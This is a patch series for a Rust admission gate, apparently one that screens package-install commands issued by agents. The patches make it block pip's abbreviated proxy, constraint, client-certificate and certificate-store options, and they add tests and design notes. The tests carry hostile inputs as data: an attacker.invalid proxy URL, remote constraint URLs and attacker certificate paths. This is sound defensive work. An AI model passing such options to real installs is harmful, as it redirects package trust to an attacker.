--- a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs @@ -54,24 +54,26 @@ fn pip_proxy_override_cannot_inherit_artifact_approval() { #[test] fn pip_separate_proxy_value_is_explicitly_classified_as_trust_authority() { for executable in ["pip", "pip3"] { - let (policy, mut intent) = approved_pip_install(executable); - intent.argv.push("--proxy".to_string()); - intent.argv.push("http://attacker.invalid:8080".to_string()); + for proxy_option in ["--proxy", "--prox"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push(proxy_option.to_string()); + intent.argv.push("http://attacker.invalid:8080".to_string()); - let decision = admission_decision(&policy, &intent); + let decision = admission_decision(&policy, &intent); - assert_eq!( - decision.decision, - DecisionKind::Block, - "{executable} separate proxy syntax must fail closed" - ); - assert!( - decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot), - "separate proxy syntax must be classified as trust authority rather than relying only on positional-operand rejection: {:?}", - decision.reason_codes - ); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} separate proxy syntax {proxy_option:?} must fail closed" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "separate proxy syntax {proxy_option:?} must be classified as trust authority rather than relying only on positional-operand rejection: {:?}", + decision.reason_codes + ); + } } } From 3947103c1269b215001bf8d69ca80e50785202bb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 22:34:42 +0900 Subject: [PATCH 418/702] fix(admission): reject accepted pip proxy abbreviation --- crates/agent-artifact-admission/src/pypi_proxy_authority.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs index c099705b..b2c0f2e0 100644 --- a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs @@ -18,6 +18,8 @@ pub(crate) fn requests_unapproved_pypi_proxy_authority(intent: &InstallIntent) - } arguments.iter().skip(1).any(|argument| { - argument == "--no-proxy-env" || argument == "--proxy" || argument.starts_with("--proxy=") + matches!(argument.as_str(), "--no-proxy-env" | "--proxy" | "--prox") + || argument.starts_with("--proxy=") + || argument.starts_with("--prox=") }) } From e2007957cb5b1409d32df9753d2d3d037781068a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 22:47:56 +0900 Subject: [PATCH 419/702] test(admission): cover pip constraint option abbreviations --- .../tests/pypi_constraint_authority_contract.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs index e5930841..197fa0f2 100644 --- a/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs @@ -9,13 +9,15 @@ const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; #[test] fn pypi_install_cannot_import_unreviewed_constraint_authority() { - let cases: [(&str, &[&str]); 17] = [ + let cases: [(&str, &[&str]); 19] = [ ("pip", &["--constraint=https://x.invalid/c.txt"]), ("pip", &["--constraint", "https://x.invalid/c.txt"]), + ("pip", &["--cons=https://x.invalid/c.txt"]), ("pip3", &["-chttps://x.invalid/c.txt"]), ("pip3", &["-c", "https://x.invalid/c.txt"]), ("pip", &["--build-constraint=https://x.invalid/b.txt"]), ("pip", &["--build-constraint", "https://x.invalid/b.txt"]), + ("pip", &["--build-c=https://x.invalid/b.txt"]), ("uv", &["--constraint=https://x.invalid/c.txt"]), ("uv", &["--constraint", "https://x.invalid/c.txt"]), ("uv", &["--constraints=https://x.invalid/c.txt"]), From 57ed21756b378585e99b71a695b6847a11832c71 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 22:51:05 +0900 Subject: [PATCH 420/702] fix(admission): classify pip constraint abbreviations --- .../src/pypi_constraint_authority.rs | 60 ++++++++++++++++++- .../pypi_constraint_authority_contract.rs | 4 +- docs/doctoring/pypi-constraint-authority.md | 19 ++++-- 3 files changed, 75 insertions(+), 8 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_constraint_authority.rs b/crates/agent-artifact-admission/src/pypi_constraint_authority.rs index 4faff34a..2c5c4133 100644 --- a/crates/agent-artifact-admission/src/pypi_constraint_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_constraint_authority.rs @@ -17,8 +17,12 @@ pub(crate) fn requests_unapproved_pypi_constraint_authority(intent: &InstallInte { arguments.iter().any(|argument| { matches_short_value_option(argument, "-c") - || matches_long_value_option(argument, "--constraint") - || matches_long_value_option(argument, "--build-constraint") + || matches_pip_long_value_option(argument, "--constraint", "--cons") + || matches_pip_long_value_option( + argument, + "--build-constraint", + "--build-c", + ) }) } "uv" if arguments.first().is_some_and(|argument| argument == "pip") @@ -39,6 +43,21 @@ pub(crate) fn requests_unapproved_pypi_constraint_authority(intent: &InstallInte } } +/// Match pip's documented option and the shortest unambiguous prefixes accepted +/// by its optparse-compatible long-option parser for this security authority. +fn matches_pip_long_value_option( + argument: &str, + canonical: &str, + shortest_accepted_prefix: &str, +) -> bool { + let option = argument + .split_once('=') + .map_or(argument, |(option, _)| option); + + option == canonical + || (option.len() >= shortest_accepted_prefix.len() && canonical.starts_with(option)) +} + fn matches_long_value_option(argument: &str, option: &str) -> bool { argument == option || argument @@ -52,3 +71,40 @@ fn matches_short_value_option(argument: &str, option: &str) -> bool { .strip_prefix(option) .is_some_and(|suffix| !suffix.is_empty()) } + +#[cfg(test)] +mod tests { + use super::matches_pip_long_value_option; + + #[test] + fn pip_constraint_prefix_matcher_starts_at_verified_unambiguous_prefix() { + for argument in [ + "--cons", + "--const", + "--constraint", + "--cons=https://x.invalid/c.txt", + "--build-c", + "--build-const=https://x.invalid/b.txt", + "--build-constraint", + ] { + let matched = if argument.starts_with("--build-") { + matches_pip_long_value_option(argument, "--build-constraint", "--build-c") + } else { + matches_pip_long_value_option(argument, "--constraint", "--cons") + }; + assert!(matched, "accepted pip constraint prefix must be classified: {argument}"); + } + + for argument in ["--con", "--build-", "--config-settings", "--constraints"] { + assert!( + !matches_pip_long_value_option(argument, "--constraint", "--cons") + && !matches_pip_long_value_option( + argument, + "--build-constraint", + "--build-c" + ), + "ambiguous or unrelated pip option must not be classified: {argument}" + ); + } + } +} diff --git a/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs index 197fa0f2..4b388203 100644 --- a/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs @@ -9,15 +9,17 @@ const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; #[test] fn pypi_install_cannot_import_unreviewed_constraint_authority() { - let cases: [(&str, &[&str]); 19] = [ + let cases: [(&str, &[&str]); 21] = [ ("pip", &["--constraint=https://x.invalid/c.txt"]), ("pip", &["--constraint", "https://x.invalid/c.txt"]), ("pip", &["--cons=https://x.invalid/c.txt"]), + ("pip", &["--cons", "https://x.invalid/c.txt"]), ("pip3", &["-chttps://x.invalid/c.txt"]), ("pip3", &["-c", "https://x.invalid/c.txt"]), ("pip", &["--build-constraint=https://x.invalid/b.txt"]), ("pip", &["--build-constraint", "https://x.invalid/b.txt"]), ("pip", &["--build-c=https://x.invalid/b.txt"]), + ("pip", &["--build-c", "https://x.invalid/b.txt"]), ("uv", &["--constraint=https://x.invalid/c.txt"]), ("uv", &["--constraint", "https://x.invalid/c.txt"]), ("uv", &["--constraints=https://x.invalid/c.txt"]), diff --git a/docs/doctoring/pypi-constraint-authority.md b/docs/doctoring/pypi-constraint-authority.md index 5d2f81e4..d7c4e805 100644 --- a/docs/doctoring/pypi-constraint-authority.md +++ b/docs/doctoring/pypi-constraint-authority.md @@ -4,7 +4,7 @@ Wardnet's Agent Artifact Admission boundary rejects caller-supplied constraint documents for direct `pip install`, `pip3 install`, and `uv pip install` requests. The reviewed intent binds an exact artifact set and exact package-source coordinates; a constraint or build-constraint document is an additional dependency/build selection authority that is not represented by those coordinates. -This applies to pip `-c` / `--constraint` and `--build-constraint`, and to uv `-c` / `--constraint` / `--constraints` plus `-b` / `--build-constraint` / `--build-constraints`. Both separate-value and attached-value spellings fail closed. The stable evidence reason is `artifact_not_approved`. +This applies to pip `-c` / `--constraint` and `--build-constraint`, including the pinned pip parser's accepted unambiguous long-option prefixes from `--cons` and `--build-c`, and to uv `-c` / `--constraint` / `--constraints` plus `-b` / `--build-constraint` / `--build-constraints`. Both separate-value and attached-value spellings fail closed. The stable evidence reason is `artifact_not_approved`. Shorter ambiguous pip prefixes are not guessed, and pip abbreviation semantics are not applied to uv. Wardnet does not fetch or interpret the constraint document, execute the package manager, authorize network transport, inspect an effective runtime environment, or own build isolation. Those remain downstream executor/quarantine/EgressWeave responsibilities. Admission only decides whether the submitted structured argv stays inside the reviewed artifact authority. @@ -12,23 +12,32 @@ Wardnet does not fetch or interpret the constraint document, execute the package pip documents constraints as files that influence which requirement version is selected and separately documents build constraints for isolated build dependencies. uv exposes equivalent install-time constraint and build-constraint options; its compatibility documentation also notes that constraints can reference direct URL dependencies. A caller-controlled constraint document can therefore change dependency or build inputs independently of the reviewed artifact coordinate. -The hostile regression uses attached option values so the value cannot be rejected accidentally as an extra positional artifact. Before the repair, an otherwise admissible exact PyPI intent remained `allow` when supplied with attached constraint/build-constraint authority. The minimum repair classifies only the supported direct pip-compatible install grammars and leaves the control request without constraint authority admissible. +pip's pinned CLI implementation uses Python `optparse`, which accepts an unambiguous prefix of a long option. At `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, the shared option definitions contain both `--constraint` and `--config-settings`, so `--con` remains ambiguous while `--cons` uniquely selects `--constraint`; the same source defines `--build-constraint`, for which `--build-c` is an accepted unique prefix in the relevant option surface. + +The original hostile regression used attached option values so the value could not be rejected accidentally as an extra positional artifact. A later parser-semantic regression at exact `e2007957cb5b1409d32df9753d2d3d037781068a` added `--cons=https://x.invalid/c.txt` and `--build-c=https://x.invalid/b.txt`. Hosted CI `34606386616`, rust job `103285721803`, passed checkout, toolchain and formatting, then failed in `Test`, proving the previously repaired exact-option classifier still allowed pip's accepted abbreviated spellings. The minimum repair extends only direct pip/pip3 constraint classification to those verified prefix ranges and adds separate-value coverage; uv retains exact-option semantics. ## Acceptance - exact `pip`, `pip3`, and `uv pip install` controls without constraint authority remain admissible when every other invariant holds; -- pip short/long constraint and build-constraint forms fail closed; -- uv singular/plural short/long constraint and build-constraint forms fail closed; -- attached values are covered explicitly so positional-argument counting cannot masquerade as the causal control; +- pip short/long constraint and build-constraint forms, including verified unambiguous `optparse` prefixes, fail closed; +- shorter ambiguous pip prefixes are not classified as constraint authority; +- uv singular/plural short/long constraint and build-constraint forms fail closed without inheriting pip's prefix grammar; +- attached and separate values are covered explicitly so positional-argument counting cannot masquerade as the causal control; - no environment/config-file discovery is introduced into Wardnet; - no quarantine, outbound transport, artifact retrieval, or build execution logic is copied into this bounded context. ## Traceability +Python Packaging Authority. (2026). *pip CLI option definitions* (Commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/cli/cmdoptions.py`). https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/cli/cmdoptions.py + Python Packaging Authority. (2026). *pip install — pip documentation*. https://pip.pypa.io/en/latest/cli/pip_install/ Python Packaging Authority. (2026). *User guide: Constraints files and build constraints*. https://pip.pypa.io/en/latest/user_guide/#constraints-files +Python Software Foundation. (2026). *optparse — Parser for command line options*. https://docs.python.org/3/library/optparse.html + Astral Software, Inc. (2026). *uv command reference: uv pip install*. https://docs.astral.sh/uv/reference/cli/#uv-pip-install Astral Software, Inc. (2026). *Compatibility with pip*. https://docs.astral.sh/uv/pip/compatibility/ + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1* (NIST SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 From 1fb88b134123bea9b883374fba37b54345b1168c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 22:53:42 +0900 Subject: [PATCH 421/702] style(admission): apply rustfmt to constraint classifier --- .../src/pypi_constraint_authority.rs | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_constraint_authority.rs b/crates/agent-artifact-admission/src/pypi_constraint_authority.rs index 2c5c4133..f56fbff1 100644 --- a/crates/agent-artifact-admission/src/pypi_constraint_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_constraint_authority.rs @@ -18,11 +18,7 @@ pub(crate) fn requests_unapproved_pypi_constraint_authority(intent: &InstallInte arguments.iter().any(|argument| { matches_short_value_option(argument, "-c") || matches_pip_long_value_option(argument, "--constraint", "--cons") - || matches_pip_long_value_option( - argument, - "--build-constraint", - "--build-c", - ) + || matches_pip_long_value_option(argument, "--build-constraint", "--build-c") }) } "uv" if arguments.first().is_some_and(|argument| argument == "pip") @@ -92,17 +88,16 @@ mod tests { } else { matches_pip_long_value_option(argument, "--constraint", "--cons") }; - assert!(matched, "accepted pip constraint prefix must be classified: {argument}"); + assert!( + matched, + "accepted pip constraint prefix must be classified: {argument}" + ); } for argument in ["--con", "--build-", "--config-settings", "--constraints"] { assert!( !matches_pip_long_value_option(argument, "--constraint", "--cons") - && !matches_pip_long_value_option( - argument, - "--build-constraint", - "--build-c" - ), + && !matches_pip_long_value_option(argument, "--build-constraint", "--build-c"), "ambiguous or unrelated pip option must not be classified: {argument}" ); } From d05f8acd412835d3ebd1284759cf888f3b2b4e4a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 02:07:02 +0900 Subject: [PATCH 422/702] test(security): expose pip client-cert abbreviation bypass --- ...i_client_certificate_authority_contract.rs | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs index 4096b115..3cd9af0e 100644 --- a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs @@ -32,6 +32,31 @@ fn pip_client_certificate_override_cannot_inherit_artifact_approval() { } } +#[test] +fn pip_client_certificate_unambiguous_prefix_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent + .argv + .push("--cl=/tmp/attacker-client.pem".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must classify pip's unambiguous --client-cert prefix before execution" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "pip's accepted --cl client-certificate prefix must remain explicit trust-authority evidence: {:?}", + decision.reason_codes + ); + } +} + #[test] fn pip_separate_client_certificate_value_is_explicitly_classified_as_trust_authority() { for executable in ["pip", "pip3"] { From f9699c033f01857fd81c3dd7b6f80190145c68bf Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 02:10:53 +0900 Subject: [PATCH 423/702] fix(security): classify pip client-cert option prefixes --- .../src/pypi_client_certificate_authority.rs | 71 +++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs b/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs new file mode 100644 index 00000000..a5a451c1 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs @@ -0,0 +1,71 @@ +use crate::InstallIntent; + +const PIP_CLIENT_CERT_OPTION: &str = "--client-cert"; +const SHORTEST_UNAMBIGUOUS_PREFIX: &str = "--cl"; + +/// Return whether a direct pip install selects caller-controlled TLS client +/// credentials through pip's optparse-compatible long-option grammar. +pub(crate) fn requests_unapproved_pypi_client_certificate_authority( + intent: &InstallIntent, +) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + matches!(executable, "pip" | "pip3") + && arguments + .first() + .is_some_and(|argument| argument == "install") + && arguments + .iter() + .any(|argument| matches_pip_client_certificate_option(argument)) +} + +/// Match only the pinned pip parser language for `--client-cert`: the exact +/// option and its verified unambiguous prefixes beginning at `--cl`. +fn matches_pip_client_certificate_option(argument: &str) -> bool { + let option = argument + .split_once('=') + .map_or(argument, |(option, _)| option); + + option.len() >= SHORTEST_UNAMBIGUOUS_PREFIX.len() + && PIP_CLIENT_CERT_OPTION.starts_with(option) +} + +#[cfg(test)] +mod tests { + use super::matches_pip_client_certificate_option; + + #[test] + fn pip_client_certificate_prefix_matcher_is_bounded_to_verified_language() { + for argument in [ + "--cl", + "--cli", + "--client", + "--client-", + "--client-c", + "--client-cert", + "--cl=/tmp/client.pem", + "--client-cert=/tmp/client.pem", + ] { + assert!( + matches_pip_client_certificate_option(argument), + "accepted pip client-certificate prefix must be classified: {argument}" + ); + } + + for argument in [ + "--c", + "--cert", + "--client-certificate", + "--client-cert-extra", + "--clock", + ] { + assert!( + !matches_pip_client_certificate_option(argument), + "ambiguous or unrelated option must not be classified: {argument}" + ); + } + } +} From 8d1fd3096d9963cef4a498107158e639c50c3206 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 02:11:13 +0900 Subject: [PATCH 424/702] fix(security): enforce pip client certificate authority --- crates/agent-artifact-admission/src/lib.rs | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 6c2d6f1a..b239f1aa 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -11,6 +11,7 @@ mod http; mod oci_transport; mod policy; mod pypi_cache_directory_authority; +mod pypi_client_certificate_authority; mod pypi_constraint_authority; mod pypi_dependency_group_authority; mod pypi_hash_mode; @@ -97,6 +98,17 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_client_certificate_authority::requests_unapproved_pypi_client_certificate_authority( + intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } if pypi_constraint_authority::requests_unapproved_pypi_constraint_authority(intent) { if !decision .reason_codes From e6ddfc39c514a6de335bb6caae3caf774dfb8101 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 02:11:38 +0900 Subject: [PATCH 425/702] test(security): cover separate pip client-cert prefixes --- ...i_client_certificate_authority_contract.rs | 34 ++++++++++--------- 1 file changed, 18 insertions(+), 16 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs index 3cd9af0e..580faa41 100644 --- a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs @@ -60,24 +60,26 @@ fn pip_client_certificate_unambiguous_prefix_cannot_inherit_artifact_approval() #[test] fn pip_separate_client_certificate_value_is_explicitly_classified_as_trust_authority() { for executable in ["pip", "pip3"] { - let (policy, mut intent) = approved_pip_install(executable); - intent.argv.push("--client-cert".to_string()); - intent.argv.push("/tmp/attacker-client.pem".to_string()); + for option in ["--client-cert", "--cl"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push(option.to_string()); + intent.argv.push("/tmp/attacker-client.pem".to_string()); - let decision = admission_decision(&policy, &intent); + let decision = admission_decision(&policy, &intent); - assert_eq!( - decision.decision, - DecisionKind::Block, - "{executable} separate client-certificate syntax must fail closed" - ); - assert!( - decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot), - "separate client-certificate syntax must be classified as trust authority rather than relying only on positional-operand rejection: {:?}", - decision.reason_codes - ); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} separate {option} syntax must fail closed" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "separate {option} syntax must be classified as trust authority rather than relying only on positional-operand rejection: {:?}", + decision.reason_codes + ); + } } } From bb614dccc017bb7fd6ade914355dda1aeb792896 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 02:12:06 +0900 Subject: [PATCH 426/702] docs(security): trace pip client certificate authority --- .../pypi-client-certificate-authority.md | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 docs/doctoring/pypi-client-certificate-authority.md diff --git a/docs/doctoring/pypi-client-certificate-authority.md b/docs/doctoring/pypi-client-certificate-authority.md new file mode 100644 index 00000000..f07a00f1 --- /dev/null +++ b/docs/doctoring/pypi-client-certificate-authority.md @@ -0,0 +1,41 @@ +# PyPI client-certificate authority + +Status: Draft until the exact implementation head is merged into the Agent Artifact Admission aggregate and that aggregate reaches protected `main`. + +## Problem + +Wardnet approves package artifacts and reviewed registries; that approval must not implicitly authorize a caller-selected TLS client identity. Direct `pip install` can select a PEM containing a client certificate and private key with `--client-cert`. At the pinned pip parser baseline, long options are parsed through Python `optparse` semantics, which accept an unambiguous prefix. Therefore checking only the canonical spelling leaves parser-equivalent forms such as `--cl=/tmp/client.pem` outside explicit trust-authority evidence. + +This is a structured-command admission concern owned by Wardnet. Wardnet does not load the certificate, resolve credentials, initiate TLS, or take over Keyverse, EgressWeave, quarantine-sandbox-runtime, contextual-orchestrator, or AppGuardrail responsibilities. + +## Constraint and decision + +The direct-pip classifier recognizes only the parser language demonstrated by the pinned upstream surface: + +- executable is `pip` or `pip3`; +- command is `install`; +- the option name is the canonical `--client-cert` spelling or a prefix of that spelling no shorter than `--cl`; +- attached (`--cl=/path`) and separate-value (`--cl /path`) forms are classified; +- shorter ambiguous forms such as `--c` and unrelated lookalikes are not promoted to this authority. + +The classification adds `alternate_trust_root` and blocks admission. The certificate remains opaque data; no file access or TLS behavior is introduced. + +The rejected alternative was a repository-wide `starts_with("--cl")` rule. It would both over-classify unrelated arguments and copy pip parser semantics into package managers that do not share them. Another rejected alternative was exact matching of `--client-cert`, because it does not represent the command parser that will consume the admitted argv. + +## RED/GREEN evidence + +Issue `#321` records the hostile case and acceptance criteria. Draft child PR `#322` was created from exact Agent Artifact Admission head `1fb88b134123bea9b883374fba37b54345b1168c`. + +RED commit `d05f8acd412835d3ebd1284759cf888f3b2b4e4a` left production source byte-identical. Hosted CI run `34625892042`, job `103350772594`, passed checkout, toolchain and formatting, then failed the semantic assertion because `--cl=/tmp/attacker-client.pem` produced `MissingSafetyFlag` without `AlternateTrustRoot`. That failure demonstrates the missing authority classification rather than runner or formatting noise. + +GREEN requires the same hostile case plus separate-value prefix coverage to return `Block` with `AlternateTrustRoot`, followed by exact-head formatting, locked workspace tests, strict Clippy and then-live security/fuzz evidence before ordinary non-force integration into the still-current aggregate. + +## Traceability + +Python Packaging Authority. (2026). *pip command options* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). `src/pip/_internal/cli/cmdoptions.py` defines `--client-cert` as the path to a PEM-encoded client certificate and private key; `src/pip/_internal/commands/install.py` imports and composes that shared option surface. https://github.com/pypa/pip/tree/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5 + +Python Software Foundation. (2026). *getopt — C-style parser for command line options*. Python 3.14 documentation states that long options may be recognized by a prefix when it matches exactly one accepted option. https://docs.python.org/3.14/library/getopt.html + +Joint Task Force. (2025). *Security and Privacy Controls for Information Systems and Organizations* (NIST SP 800-53 Rev. 5, Release 5.2.0). National Institute of Standards and Technology. The boundary supports least privilege and authenticator-management intent by preventing artifact approval from conferring an unreviewed client credential authority. https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final + +MITRE. (2025). *CWE-15: External Control of System or Configuration Setting*. https://cwe.mitre.org/data/definitions/15.html From 43a0069e06823168372535a6d30991918a4a2e17 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 02:12:47 +0900 Subject: [PATCH 427/702] style: apply rustfmt to pip client certificate matcher --- .../src/pypi_client_certificate_authority.rs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs b/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs index a5a451c1..6a96c7d9 100644 --- a/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs @@ -29,8 +29,7 @@ fn matches_pip_client_certificate_option(argument: &str) -> bool { .split_once('=') .map_or(argument, |(option, _)| option); - option.len() >= SHORTEST_UNAMBIGUOUS_PREFIX.len() - && PIP_CLIENT_CERT_OPTION.starts_with(option) + option.len() >= SHORTEST_UNAMBIGUOUS_PREFIX.len() && PIP_CLIENT_CERT_OPTION.starts_with(option) } #[cfg(test)] From 500bf5fd18cf69bb53cc25e7c2568c1037fce267 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 02:21:29 +0900 Subject: [PATCH 428/702] test(security): expose pip cert abbreviation bypass --- .../pypi_certificate_store_trust_contract.rs | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs index 273cbfc6..5f5eb10e 100644 --- a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs @@ -48,6 +48,25 @@ fn pip_certificate_bundle_override_cannot_inherit_artifact_approval() { } } +#[test] +fn pip_certificate_bundle_unambiguous_prefix_is_explicit_trust_authority() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push("--ce=/tmp/attacker-ca.pem".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block, "{executable}"); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "pip's accepted --ce certificate-store prefix must remain explicit trust-authority evidence: {:?}", + decision.reason_codes + ); + } +} + #[test] fn pip_separate_certificate_value_is_classified_as_alternate_trust_authority() { let (policy, mut intent) = approved_pip_install("pip"); From a8fa9524aa25de38d5bed1f0408c1cfdf9e12321 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 02:29:06 +0900 Subject: [PATCH 429/702] fix(security): classify pip cert abbreviations --- .../src/pypi_certificate_store_authority.rs | 70 +++++++++++++++++++ 1 file changed, 70 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs b/crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs new file mode 100644 index 00000000..1df8e64a --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs @@ -0,0 +1,70 @@ +use crate::InstallIntent; + +const PIP_CERTIFICATE_STORE_OPTION: &str = "--cert"; +const SHORTEST_UNAMBIGUOUS_PREFIX: &str = "--ce"; + +/// Return whether a direct pip install selects a caller-controlled certificate +/// store through an accepted long-option abbreviation not covered by the +/// generic exact-option guard. +pub(crate) fn requests_unapproved_pypi_certificate_store_abbreviation( + intent: &InstallIntent, +) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + matches!(executable, "pip" | "pip3") + && arguments + .first() + .is_some_and(|argument| argument == "install") + && arguments + .iter() + .any(|argument| matches_pip_certificate_store_abbreviation(argument)) +} + +/// pip's optparse-compatible parser accepts `--ce` and `--cer` for `--cert`. +/// `--c` remains ambiguous on the reviewed option surface, while the full +/// `--cert` spelling stays owned by the generic exact-option trust guard. +fn matches_pip_certificate_store_abbreviation(argument: &str) -> bool { + let option = argument + .split_once('=') + .map_or(argument, |(option, _)| option); + + option.len() >= SHORTEST_UNAMBIGUOUS_PREFIX.len() + && option != PIP_CERTIFICATE_STORE_OPTION + && PIP_CERTIFICATE_STORE_OPTION.starts_with(option) +} + +#[cfg(test)] +mod tests { + use super::matches_pip_certificate_store_abbreviation; + + #[test] + fn pip_certificate_store_abbreviations_are_bounded_to_verified_language() { + for argument in [ + "--ce", + "--cer", + "--ce=/tmp/alternate.pem", + "--cer=/tmp/alternate.pem", + ] { + assert!( + matches_pip_certificate_store_abbreviation(argument), + "accepted pip certificate-store abbreviation must be classified: {argument}" + ); + } + + for argument in [ + "--c", + "--cert", + "--certificate", + "--client-cert", + "--cache-dir", + ] { + assert!( + !matches_pip_certificate_store_abbreviation(argument), + "ambiguous, full, or unrelated option must not be classified as a certificate-store abbreviation: {argument}" + ); + } + } +} From 6a24fbb21358a619948ca5fd50fc19ac6ff2621f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 02:29:27 +0900 Subject: [PATCH 430/702] fix(security): enforce pip cert prefix trust authority --- crates/agent-artifact-admission/src/lib.rs | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index b239f1aa..a286c32f 100644 